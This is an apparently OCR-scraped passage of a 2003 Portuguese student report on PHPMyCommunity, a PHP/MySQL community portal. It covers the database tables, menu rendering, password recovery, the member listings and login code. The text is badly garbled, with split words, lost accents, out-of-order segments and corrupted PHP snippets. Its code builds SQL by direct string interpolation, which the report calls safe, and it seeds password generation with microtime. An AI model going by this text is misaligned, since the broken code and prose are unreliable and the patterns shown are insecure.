141. um est   aberto ou fechado   id admin forum  identificador do respons  vel pelo conte  do do f  rum   id forum cat  identificador da categoria de forum a qual pertence   nivel forum  valor decimal do nivel necess  rio para visualiza    o do f  rum   num thread  valor do n  mero de t  picos inseridos neste forum   num posts  valor do n  mero de respostas  e t  picos  criados neste f  rum     posicao  valor que controla a posi    o na apresenta    o dos f  runs dentro da sua categoria     forum cat  todos os f  runs possuem categorias  Nesta tabela est  o devidamente armazenadas todas  categorias incluindo os nomes e descri    es   id forum cat   chave prim  ria  identificador da categoria do f  rum    nico e auto  incrementado   nome_forum_cat  o nome da categoria fica armazenada neste campo     desc_forum_cat  descri    o da categoria     ap  tabela armazenando todos os artigos e os produtos  Muito parecida com a tabela dl  esta inclui uma  maior quantidade de campos   id   chave prim  ria  identificador do produto ou do artigo    nico e auto incrementado     ap_cat  identificador    categoria correspondente     P  gina 27    Relat  rio do projecto   PHPMyCommunity    nome  este campo refere se ao nome  ou titulo  do artigo ou produto    resumo  como indica o nome  este campo guarda os resumos    descricao  cada artigo ou produto possui uma descri    o  este campo ira armazena la    tipo  este campo ira armazenar o nome do tipo  ou seja    artigos    ou    produtos     permit
142. uniformizar a plataforma em todos os sistemas onde ela ir      home  noticias  membros  forum  produtos  artigos  sondagens  pesquisa  downloads  links  contactos    log in    funcionar  as categorias de itens  menu  admin etc    s  o elaboradas atrav  s de uma  fun    o PHP fazendo recurso a uma biblioteca gr  fica  GD inicialmente referida   Este m  todo possui dois inconvenientes no que diz respeito    cria    o do  menu  o primeiro    o aumento do tempo de processamento  que influ  ncia o  carregamento do resto da p  gina  O segundo est   ligado ao servidor  em que    obriga o webmaster a ter um alojamento que possui essa tal biblioteca     Pensando nestes grandes inconvenientes  foi desenvolvido uma  alternativa que consiste em dar a oportunidade de escolha ao dono da p  gina entre  dois menus  O primeiro m  todo foi aquele que acabamos de referir  O segundo    r10 10 03    uma t  cnica mais tradicional  na medida uma vez que    colocada uma imagem de E  Ilustra    o 13     fundo com um texto centrado no meio da c  lula formando assim o nosso menu  Menu criado sem          i o uso do GD   Este processo colmata os inconvenientes  mas infelizmente leva uma desvantagem       invis  vel para o webmaster pois afecta os utilizadores  Isto implica ter a fonte  ee bj b 5 E  courrier    instalada no seu sistema   Caso n  o tenha  o navegador    encarregue de colocar um tipo de letra alternativo  Felizmente   quase todos os sistemas operativos possuem a fonte referida  caso contr 
143. unsty para que lhe possa ajudar no processo de recupera    o do dom  nio da p  gina     P  gina 55    Relat  rio do projecto   PHPMyCommunity    Por medida de seguran  a ter   que inserir a resposta a sua pergunta  especial     Login  ptjedi    Pergunta  Onde estive na dia 27 de novembro I980 272    Resposta       recuperar palavra chave    Ilustra    o 21  Exemplo de resultado  quando executado o pedido de recupera    o da  palavra chave                         Altera    o da password    Cria    o de uma palavra aleat  ria     Sseed   int microtime      Sseed    integer  md5  microtime         mt srand Sseed      Spas cmord   mt  ramd  1  99999999  g  Dener ypt pass erypel password  gade 2008       Alterar a password do utilizador     sql chpasswd  update login set password   Sencrypt pass  where id  Sid         Sresultado chpasswd mysqgl db query   SMYSQL server bd   Ssql chpasswd    if  Sresultado chpasswd        Emvio da mo c a c   sql send mp  insert into mp  id remetente  id destinatario mp assunto mp msg   mp data  mo  hora  mo lida values  Ste vi     Sme assunto      Smp msg    Sdata dia     Sdata hora     0     Sresultado send mp   mysql db query   SMYSOL server bd    S sgl send mp       Emvio do Email com a noya palavra pass   Snome servidor   SERVERI  SERVER NAME     Semail root  webmasterfSnome servidor      mail   email  Sassunto   mensagem   From  SSITE nome lt Semail root gt        E importante referir que foram retiradas da amostra do c  digo as vari  veis ass
144. unto  mensagem   mp assunto e mp msg porque s  o realmente muito extensas  Poder   encontrar todo o c  digo fonte do    processo de recupera    o da palavra chave no ficheiro func login php     5 4  Sistema de membros     O m  dulo dos membros do PHPMyCommunity marca a sua diferen  a em rela    o   s outras  plataformas de conte  do  na medida em que  foi constru  do de ra  z  podendo suportar uma infinidade de  membros categorizados ou n  o em grupos de utilizadores  Nesta parte do relat  rio veremos em que    consiste este sistema de membros     P  gina 56    ISMAI O 2003    5 4 1  Seguran  a dos dados pessoais    Tal como no resto da plataforma  a seguran  a dos dados foi privilegiada  Implementou se um  processo de visualiza    o dos membros que possibilita uma elevada privacidade dos utilizadores  visto  que  para ter acesso ao dados pessoais de um membro     preciso estar registado no site  caso contrario o  sistema s   lista a informa    o simb  lica e os dados que tenham a ver com utilizador de um site e n  o  pessoais  ex   dada de registo  nickname  localidade  regi  o etc     nunca ira mostrar o nome  idade  e   mail etc     Esta politica de seguran  a n  o serve unicamente para proteger os dados dos membros  mas  tamb  m para evitar o lixo electr  nico enviado por e mail devido    exist  ncia de muitos    bots    que  poderiam ter um efeito nefasto nas caixas de correio electr  nicas dos utilizadores    Esta medida possibilita aos visitantes n  o registados verem 
145. utilizador      amp  pesquisa retornou 1 utilizador     Ilustra    o 23   Exemplo de resultado obtido de um utilizador com um username    matr    iniciando em  u         Listagem por grupos     criado uma listagem de todos os grupos existentes no site categorizado por  distritos  Ao seleccionar um deles a descri    o do mesmo aparece  Denominada    p  gina pessoal do  M 5 Ga a  grupo     ela pretende ser a identifica    o do mesmo colocando as seguintes informa    es  imagem  associada  nome  localiza    o  data de funda    o  p  gina pessoal  utilizadores registados  utilizadores sem    Internet  uma descri    o e os contactos     Listagem pelo distrito     criada ao seleccionar um distrito no mapa de Portugal  ou pelo seu nome     direita  A itera    o da escolha    devido ao facto de estar a usar uma aplica    o em Flash  cujo plug in pode  n  o estar instalado em todos os clientes web    A p  gina gerada efectua uma listagem de todos os membros  registados offline   com possibilidade de    aceder    p  gina descritiva de cada um  o todo ilustrado por uma imagem simb  lica do dito distrito     P  gina 59    Relat  rio do projecto   PHPMyCommunity    equipa   Panteras negras       Administrador do grupo  gade  Data de funda    o  25 9 2003  Localiza    o  Bessa leite   porto  Website  https    gade no ip com    Utlizadores registados deste grupo     None Localidade    qade Porto  ptedi Maia    Utlizadores sem internet deste grupo     Nane Localidade    JohnyBegooD  el Ranho
146. ve    Caso o utilizador se tenha esquecido da sua senha para se identificar na p  gina  o  PHPMyCommunity n  o permite recuper   la na medida em que est   armazenada completamente  codificada  n  o sendo poss  vel a sua descodifica    o    Foi ent  o desenvolvido na   ptica da seguran  a m  xima um sistema que possibilita ao utilizador  ter uma nova palavra chave a partir da pergunta e resposta que inseriu no momento do registo    O processo de recupera    o funciona em v  rios passos  Inicialmente     pedido para inser    o do login  pretendido  seguindo para outra p  gina que verifica se o login existe realmente  Se existir    colocado a  pergunta  onde ter   que escrever a resposta certa para que seja criada uma nova senha aleat  ria  substituindo a actual  A nova palavra chave     enviada ao utilizador para a caixa de correio electr  nico  registada na base de dados  Depois deste processo    enviada uma mensagem privada ao webmaster  avisando que o pedido de recupera    o da password foi efectuado  dando lhe informa    es sobre o IP  login  recuperado com a nova palavra chave aleat  ria  Assim  poder   controlar abusos  ou tentativas de  apropria    o de contas  Por medida de seguran  a    imposs  vel recuperar a senha do utilizador    root      conta com o maior n  mero de privil  gios     mais conhecida por webmaster  dono da p  gina etc      Caso  se tenha mesmo esquecido da palavra chave  ter   uma aviso que lhe indicar   o correio electr  nico criador    do PHPMyComm
147. wsCat      sql delete all news   delete from news where id cat news   Sid     Sresultado delete all news  mysql db query   SMYSQL server bd     sql delete all news    if  Sresultado delete all news     Sresultado  Categoria apagada do sistema  lt br gt  Dentro de 5 segundos ser    redirecionado para a p  gina principal de administra    o das categorias de  moticias  e   else     resultado  Problemas com o seu pedido  N  o foi poss  vel apagar a  categoria de not  cias          a     O    DELETE       uma fun    o do SQL que permite apagar linhas dentro de campo     P  gina 51    Relat  rio do projecto   PHPMyCommunity    5 3  Login Logout     5 3 1  Inser    o e identifica    o de utilizadores    Este m  dulo    o mais crucial para o funcionamento da plataforma  Sem ele  era imposs  vel criar  um sistema de utilizadores com permiss  es distintas  Composto por outros m  dulos  o sistema de  utilizadores    uns dos mais cr  ticos no que diz respeito    seguran  a  Foi  neste   mbito  que foram  desenvolvidas v  rias fun    es que permitem a identifica    o do utilizador com a m  xima seguran  a  Por  exemplo  para a identifica    o  login php   o pr  ximo c  digo PHP permite entender como    escrito um  pedido SQL relativamente seguro diminu  do o risco de SOL Injection  ver capitulo sobre a seguran  a da    plataforma   na medida em que efectua uma conta em vez de recuperar um resultado     Ssgql  select id  count  username  as cnt from login where username    username  and  p
148. yCommunity foi  desde sempre  desenvolvido com a ideia  principal que tudo pode ser alter  vel por outra pessoa  da forma mais simples e conveniente  Mais do que    um site     uma ferramenta de trabalho e de comunica    o com outras pessoas onde tudo    relativamente    r  pido  f  cil e visualmente agrad  vel     3 1  Aspecto gr  fico    3 1 1  Navega    o    Desenvolver uma plataforma din  mica n  o    s   escrever c  digo e p  r o resultado a funcionar    Existem outros problemas relativos ao design e ao aspecto gr  fico que temos que ter em conta  Baseando     1 E gou   25 Ea      se em Jakob Nielsen  que foi distinguido v  rias vezes como sendo um profissional da ergonomia da    web         Sendo o principal objectivo da p  gina de acolhimento facilitar a navega    o na totalidade do site      indispens  vel que o utilizador possa encontrar com facilidade o elemento de navega    o apropriado   diferenciar os controlos  e fazer rapidamente uma ideia da hiperliga    o  sem ter que cliquar nos  elementos para os identificar  A zona de navega    o tem que revelar o essencial do conte  do do site  e    assim permitir ao utilizador de descobrir o site lendo os nomes das principais categorias        Chegou se    conclus  o que sendo uma aplica    o que dever   servir qualquer pessoa  ter   que ser  o mais simples dentro do mais evolu  do  Ter sempre em mente a rela    o dos espa  os vazios  ajuda a  clareza dos conte  dos   coloca    o dos itens convencionais  t  tulo em cima 
    
Download Pdf Manuals
 
 
    
Related Search
    
Related Contents
User Manual  Brandt ME645WE1 microwave  WFM6120 Multistandard, Multiformat Waveform Monitor  Vérins pneumatiques - Série P1D-T - catalogue  Télécharger au format PDF - Communauté d`agglomération du Val d  Índice - CONRAD Produktinfo.  USB Serial Converter  Summit Appliance STC1 Use and Care Manual  KUDA 083330 holder  T-Mobile myTouch 3G User Guide    Copyright © All rights reserved. 
   Failed to retrieve file